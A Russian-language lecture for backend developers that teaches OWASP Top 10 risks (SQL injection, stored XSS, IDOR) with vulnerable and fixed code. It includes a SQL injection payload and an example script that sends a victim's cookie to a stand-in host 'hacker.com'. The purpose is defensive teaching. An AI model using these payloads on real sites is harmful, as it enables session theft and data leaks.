Лекция 8: Основы информационной безопасности. Защищаем наш "замок" от атак

Введение: Думай как хакер

Здравствуйте! До сих пор мы строили наше приложение с точки зрения инженера-созидателя. Наша цель была — "сделать так, чтобы это работало". Сегодня мы наденем "черную шляпу" и посмотрим на наш код глазами инженера-разрушителя, или хакера. Его цель — "найти способ, как это сломать".

Безопасность — это не "фича", которую можно добавить в конце. Это фундаментальное свойство системы, которое нужно закладывать на каждом этапе разработки. Цена одной-единственной уязвимости может быть катастрофической: финансовые потери, репутационный ущерб, утечка персональных данных миллионов пользователей.

Сегодня мы не будем погружаться в дебри криптографии. Мы разберем самые распространенные и опасные ошибки, которые допускают веб-разработчики, на основе всемирно признанного стандарта — **OWASP Top 10**.

OWASP (Open Web Application Security Project) — это международная некоммерческая организация, которая анализирует данные о реальных взломах и составляет рейтинг 10 самых критичных рисков для веб-приложений. Знание этого списка — абсолютный минимум для любого backend-разработчика. Мы на практике разберем несколько самых "ярких" уязвимостей и научимся от них защищаться.

1. Уязвимость №1: Инъекции (Injection)

Аналогия: Представьте, что ваш замок управляется приказами на бумажках. **Инъекция** — это когда враг подкупает вашего гонца, и тот вписывает в ваш приказ "открыть ворота для гостя" свою строчку: "...и опустить все мосты, уволить всю стражу". Ваша система, не проверив подлинность, выполняет и ваш приказ, и приказ врага.

Инъекция возникает, когда данные, присланные пользователем, интерпретируются программой как **часть исполняемой команды**.

Самый известный тип: SQL-инъекция

Это происходит, когда мы формируем SQL-запрос путем простого "склеивания" строк с данными от пользователя. Мы уже говорили об этом, но давайте посмотрим на это в действии.

Представим уязвимый код для поиска товаров:

```
// ОЧЕНЬ ПЛОХОЙ КОД!
const searchTerm = req.query.q;
const query = `SELECT * FROM products WHERE name = '${searchTerm}'`;
const products = await db.query(query); // Выполняем 'сырой' запрос
```

Атака:
Хакер отправляет запрос: GET /products/search?q=' OR '1'='1.

Что выполнит база данных?

```
SELECT * FROM products WHERE name = '' OR '1'='1'
```

Условие OR '1'='1' всегда истинно, и этот запрос вернет **ВСЕ** товары из таблицы, игнорируя фильтр. А с помощью оператора UNION хакер мог бы извлечь данные из других таблиц, например, хеши паролей пользователей.

Защита:
Как мы уже знаем, решение — никогда не "склеивать" запросы.

1. **Параметризованные запросы:** Передавать SQL-шаблон и данные отдельно. Драйвер базы данных сам безопасно их обработает.
2. **Использовать ORM (Prisma/Sequelize):** Они делают это за нас "под капотом" по умолчанию. Используя .findUnique({ where: { ... } }), вы уже защищены от SQL-инъекций.

2. Уязвимость №2: Межсайтовый скриптинг (Cross-Site Scripting, XSS)

Аналогия: Хакер пишет на стене вашего замка (например, в разделе комментариев) не просто текст, а **"магическое заклинание"** (<script>...</script>). Любой житель (пользователь), который посмотрит на эту стену (загрузит страницу), попадает под его влияние (браузер выполняет этот скрипт).

XSS возникает, когда ваше приложение берет ненадежные данные от одного пользователя и отправляет их в браузер другому пользователю **без должной очистки (экранирования)**.

Сценарий атаки (Stored XSS):

1. **Хакер** оставляет на вашем сайте комментарий, содержащий вредоносный JavaScript-код:

```
<p>Отличная статья!</p>
<script>
  // Этот скрипт крадет cookie жертвы и отправляет его на сервер хакера
  fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
```

2. Ваш сервер, не проверив, **сохраняет этот HTML в базу данных**.
3. **Жертва** (другой пользователь) заходит на страницу. Ваш сервер достает из базы комментарий и вставляет его в HTML-код страницы.
4. Браузер жертвы видит тег <script> и **без вопросов выполняет его**. Сессионный cookie жертвы улетает на сервер хакера. Теперь хакер может войти в аккаунт жертвы.

Защита:
Главное правило — **экранирование вывода (Output Escaping)**. Перед тем, как вставлять любые пользовательские данные в HTML, нужно заменять специальные символы на их безопасные аналоги (< на <, > на >).

- **На бэкенде:** Если вы генерируете HTML на сервере, **используйте шаблонизаторы** (EJS, Pug). Они по умолчанию экранируют все переменные.

- **На фронтенде:** Современные фреймворки (React, Vue, Angular) делают это автоматически.
- **Для API:** Если ваш бэкенд отдает только JSON, основная ответственность ложится на фронтенд. Но хорошей практикой является **санитизация ввода** — очистка HTML-тегов перед сохранением в базу с помощью библиотек типа dompurify.

3. Уязвимость №3: Нарушение контроля доступа (Broken Access Control)

Это самая критичная уязвимость в списке OWASP Top 10 за 2021 год. Она возникает, когда аутентифицированный пользователь получает доступ к данным или функциям, к которым у него не должно быть доступа.

Классический пример: IDOR (Insecure Direct Object Reference — небезопасная прямая ссылка на объект)

Аналогия: В клубе у каждого гостя есть свой номер шкафчика. Вы подходите к администратору и говорите: "Откройте шкафчик №101". Он открывает. Затем вы говорите: "А теперь откройте шкафчик №102". И он тоже открывает, **не проверив, что этот шкафчик — не ваш**.

Сценарий атаки:

- Вы вошли в свой личный кабинет и видите URL: https://example.com/orders/12345.
- Вы меняете в адресной строке 12345 на 12346 и нажимаете Enter.
- Если сервер просто находит заказ по ID и отдает его, **не проверив, что этот заказ принадлежит именно вам**, — это уязвимость IDOR. Вы сможете просматривать чужие заказы.

Защита:
Никогда не доверяйте ID, пришедшим от клиента! authMiddleware — это только первый шаг (аутентификация). Второй, обязательный шаг — **авторизация** внутри обработчика роута.

```
// УЯЗВИМЫЙ КОД
router.get('/orders/:orderId', authMiddleware, async (req, res) => {
  const order = await prisma.order.findUnique({ where: { id:
req.params.orderId } });
  res.json(order);
});

// БЕЗОПАСНЫЙ КОД
router.get('/orders/:orderId', authMiddleware, async (req, res) => {
  const userId = req.userData.userId; // ID текущего пользователя из токена
  const orderId = req.params.orderId;

  const order = await prisma.order.findFirst({
    where: {
      id: orderId,
      userId: userId // <-- ГЛАВНАЯ ПРОВЕРКА!
    }
  });

  if (!order) { return res.status(404).json({ message: 'Заказ не найден' }); }
  res.json(order);
});
```

4. Другие важные уязвимости и практики

- **Небезопасный дизайн (Insecure Design):** Ошибки, заложенные на уровне архитектуры. Пример: интернет-магазин, где цена товара передается с фронтенда на бэкенд, и ее можно подменить в DevTools. **Защита:** вся важная логика (особенно расчеты) должна быть только на бэкенде.
- **Использование компонентов с известными уязвимостями:** Наше приложение зависит от сотен npm-пакетов. В любом из них может быть найдена "дыра". **Защита:** Регулярно запускайте npm audit и используйте сервисы типа **GitHub Dependabot**, которые автоматически сканируют ваши зависимости и предлагают обновления.
- **Неправильная конфигурация безопасности:** Использование паролей по умолчанию, включенные в продакшене отладочные сообщения, которые раскрывают внутреннюю структуру приложения. **Защита:** Используйте переменные окружения (.env) и middleware типа **helmet.js**, которое устанавливает защитные HTTP-заголовки.

Заключение

Мы лишь прикоснулись к вершине айсберга веб-безопасности. Но теперь вы знаете главное: нужно всегда мыслить как хакер и никогда не доверять данным от пользователя.

Вы видите, что многие механизмы защиты мы уже внедрили на предыдущих лекциях, даже не называя это "безопасностью":

- Использование **ORM** защищает от **SQL-инъекций**.
- Использование **bcrypt** и **JWT** защищает от **провалов аутентификации**.
- Правильная проверка userId в роутах защищает от **нарушения контроля доступа**.

Безопасность — это не отдельная задача, а набор правильных практик, которые должны стать вашей второй натурой. На следующей лекции мы вернемся в мир Enterprise и поговорим о том, как наши современные и защищенные веб-приложения могут взаимодействовать с такими системами, как 1С.